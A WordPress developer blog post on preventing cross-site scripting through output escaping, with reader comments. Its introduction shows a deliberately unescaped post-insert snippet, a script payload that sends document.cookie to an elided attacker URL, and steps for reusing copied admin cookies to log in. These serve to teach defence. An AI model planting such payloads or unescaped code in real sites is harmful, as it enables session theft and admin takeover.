Although we’ve already talked about code injection, we’re carrying on this topic from a slightly different angle today. More recently, cross-site-scripting(XSS) has become part of the code injection category, but this particular vulnerability has its peculiarity, so let’s not waste time and get started.
Cross-site scripting
Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. Cross-site scripting carried out on websites accounted for roughly 84% of all security vulnerabilities documented by Symantec up until 2007. XSS effects vary in range from a petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site’s owner network.
Wikipedia
I prepared one fascinated snippet that adds a new post, with the post type visible inside the admin area:
$post_title = $_POST['post_title'];
$post_content = $_POST['post_content'];
global $wpdb;
$wpdb->insert(
$wpdb->posts,
[
'ID' => null,
'post_type' => 'entry',
'post_title' => $post_title,
'post_content' => $post_content,
]
);
Positive cases are when the title and content are a text, but someone might send something special for you. For example, javascript code:
<script>fetch( '.../cakemonster=' + escape(document.cookie) )</script>
What will happen when an admin visits the entry in the admin area? All your cookies will be delivered on a server when an admin visits the entry page.
Why should it bother me? What you can do with these cookies? Nothing special, just log in as the same user to the admin area without login and password.
You can try and see for yourself by following a few simple steps:
- Visit the admin panel as a user
- Open the developer panel
- Go to the Application tab
- Go to the Cookies section
- Copy 3 cookies from the screenshot to a new window in incognito mode
6. Reload the incognito page and you will be logged in
Just remember that feeling.
Escaping functions
It is pretty challenging to protect your site from all kinds of injections, the most harmful in this matter are XSS injections, which are a vast number. Each time, cybercriminals develop more and more new ways to inject you into some code to your site. Fortunately, this is where the second stage of protection comes into effect, which must always be used from the first day of your work with WordPress. One golden rule that you must remember as a developer: you must always escape your output code.
Php escaping functions:
(int) $var
,(float) $var
,intval( mixed $value, int $base = 10 ): int
,floatval( mixed $value ): float
,number_format(float $num, int $decimals = 0, ?string $decimal_separator = '.', ?string $thousands_separator = ','): string
,highlight_string(string $string, bool $return = false): string|bool
,json_encode(mixed $value, int $flags = 0, int $depth = 512): string|false
,rawurlencode(string $string): string
,urlencode( string $value ): string
,urlencode_deep( mixed $value ): mixed
,
WordPress escaping functions start with esc_*
, a few functions start with sanitize_*
and wp_kses_*
, and a few more:
absint( mixed $maybeint ): int
,esc_attr__( string $text, string $domain = 'default' ): string
,esc_attr_e( string $text, string $domain = 'default' ): string
,esc_attr_x( string $text, string $context, string $domain = 'default' ): string
,esc_attr( string $text ): string
,esc_html__( string $text, string $domain = 'default' ): string
,esc_html_e( string $text, string $domain = 'default' ): string
,esc_html_x( string $text, string $context, string $domain = 'default' ): string
,esc_html( string $text ): string
,esc_js( string $text ): string
,esc_sql( string|array $data ): string|array
,esc_textarea( string $text ): string
,esc_url_raw( string $url, string[] $protocols = null ): string
,esc_url( string $url, string[] $protocols = null, string $_context = 'display' ): string
,sanitize_hex_color( string $color ): string|void
,sanitize_hex_color_no_hash( string $color ): string|void
,sanitize_html_class( string $class, $fallback = '' ): string
,sanitize_key( string $key ): string
,sanitize_user_field( string $field, mixed $value, int $user_id, string $context ): mixed
,tag_escape( string $tag_name ): string
,wp_json_encode(mixed $value, int $flags = 0, int $depth = 512): string|false
,wp_kses_allowed_html( string|array $context = '' ): array
,wp_kses_data( string $data ): string
,wp_kses_post( string $data ): string
,wp_kses( string $string, array[]|string $allowed_html, string[] $allowed_protocols = [] ): string
,
Late escaping (security output)
When should we escape data? When you print something (echo
, print
, printf
, etc. functions) as late as possible:
<div class="security-block">
<?php foreach ( $items as $key => $item ) { ?>
<div class="security-block-item" data-key="<?php echo esc_attr( $key ); ?>">
<?php echo esc_html( $item ); ?>
</div>
<?php } ?>
</div>
esc_html
or esc_attr
? What is the difference? At the moment these function the almost the same in code, but logically has a different target. The esc_attr
you need to use for all HTML attributes when esc_html
inside HTML tags. For example:
// Incorrect:
<input type="text" value="<?php echo esc_html( $value ); ?>">
<textarea><?php echo esc_attr( $value ); ?></textarea>
// Correct:
<input type="text" value="<?php echo esc_attr( $value ); ?>">
<textarea><?php echo esc_html( $value ); ?></textarea>
The next problem that you can meet with the late escaping is how to print a variable with HTML code inside? Here the wp_kses
help you to protect output as well:
<?php
function get_security_block( $items ) {
$output = '';
$output .= '<div class="security-block">';
foreach ( $items as $key => $item ) {
$output .= sprintf(
'<div class="security-block-item" data-index="%d">%s</div>',
absint( $key ),
esc_html( $item )
);
}
$output .= '</div>';
return $output;
}
function the_security_block( $items ) {
echo wp_kses(
get_security_block( $items ),
[
'div' => [
'class' => true,
'data-index' => true,
],
]
);
}
How to secure print an HTML variable with a bunch of unknown HTML tags and attributes inside? For example, WYSIWYG content can contain too many different HTML tags. The wp_kses
function here can be longer than the Saturn ring. You can use the wp_kses_post
that leave only tags related to a typical content inside your HTML code:
<?php
function the_security_block( $items ) {
echo wp_kses_post( get_security_block( $items ) );
}
How to deal with templates?
Bad smell if you have inside your code similar code:
<?php
namespace WPPunk\Security;
class PageOptions {
public function view() {
// million lines before
$output .= '<div class="security-block">';
foreach ( $items as $key => $item ) {
$output .= sprintf(
'<div class="security-block-item" data-index="%d">%s</div>',
absint( $key ),
esc_html( $item )
);
}
$output .= '</div>';
// million lines later
echo $output;
}
}
What problems with the code above? Technically our $output
variable isn’t PHP output, so we can’t see WPCS escaping suggestions. The chance to forget about escaping a variable is too high. So, the best approach is to create a special template function. An example of a rendering templates function:
<?php
namespace WPPunk\Security;
function render( string $template_name, array $args = [] ): string {
$template_path = realpath( WPPUNK_PLUGIN_PATH . '/templates/' . $template_name . '.php' );
$args = (array) apply_filters( 'wppunk_template_args', $args, $template_name, $template_path );
$template_path = (string) apply_filters( 'wppunk_template_path', $template_path, $args );
if ( empty( $template_path ) ) {
throw new \Exception( "Path for the {$template_name} wasn't found" );
}
$created_vars_count = extract( $args, EXTR_SKIP ); // phpcs:ignore WordPress.PHP.DontExtract
// Protecting existing scope from modification.
if ( count( $args ) !== $created_vars_count ) {
throw new \Exception( 'Extraction failed: variable names are clashing with the existing ones.' );
}
ob_start();
require $template_path;
return ob_get_clean();
}
The view
method becomes:
<?php
namespace WPPunk\Security;
class PageOptions {
public function view() {
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
echo render( 'admin/page-options', [ 'items' => $items ] );
}
}
And the template we can use as simple HTML code with output all variables inside.
Custom escape functions
Let’s create your own escaping function:
<?php
function my_plugin_esc_notice( $notice ) {
return wp_kses(
$notice,
[
'a'. => [
'class' => [],
'href' => [],
'rel' => [],
'target' => [],
],
'div' => [
'class' => [],
],
'strong' => []
]
);
}
I hope you already use the WPCS. The last step is to register the function inside your PHPCS configuration the next code:
<?xml version="1.0"?>
<ruleset name="MyCodingStandards">
<!-- ... -->
<rule ref="WordPress.Security.EscapeOutput">
<properties>
<property name="customEscapingFunctions" type="array">
<element value="my_plugin_esc_notice"/>
</property>
</properties>
</rule>
<!-- ... -->
</ruleset>
Nothing is clear, but very interesting
Yep
Great list. One thing that’s missing: Automattic has some great examples on how to escape dynamic JS inside a script tag here (it requires both PHP and JS): https://github.com/Automattic/vip-code-samples/tree/master/10-security#escaping-dynamic-javascript-values
And there are some points of confusion that might help people to have cleared up:
– `esc_js()` is named a bit confusingly. It should almost never be used unless you’re running actual JS inside an attribute like `onerror=”javascript:alert(‘hi’)”` (which is an outdated practice anyway).
– `rawurlencode()` is almost always the right choice over `urlencode()`: https://stackoverflow.com/questions/996139/urlencode-vs-rawurlencode
– rawurlencode()` is for encoding _portions_ of a URL (like a query string arg value), not the entire URL.
– `absint()` is safe to use in any context–DB input, template output, redirect URLs, whatever.
– As of WP 6.1, the confusingly-named `esc_url_raw()` is deprecated in favor of the now-undeprecated `sanitize_url()`. Can be used for DB queries, redirects, and HTTP requests:
– https://make.wordpress.org/plugins/2022/05/25/rejoice-to-sanitize_url/
– https://developer.wordpress.org/reference/functions/esc_url_raw/#more-information
– https://github.com/WordPress/WordPress/blob/01d172b5811f638690d20ef292e2a52213c8084a/wp-includes/formatting.php#L4460-L4495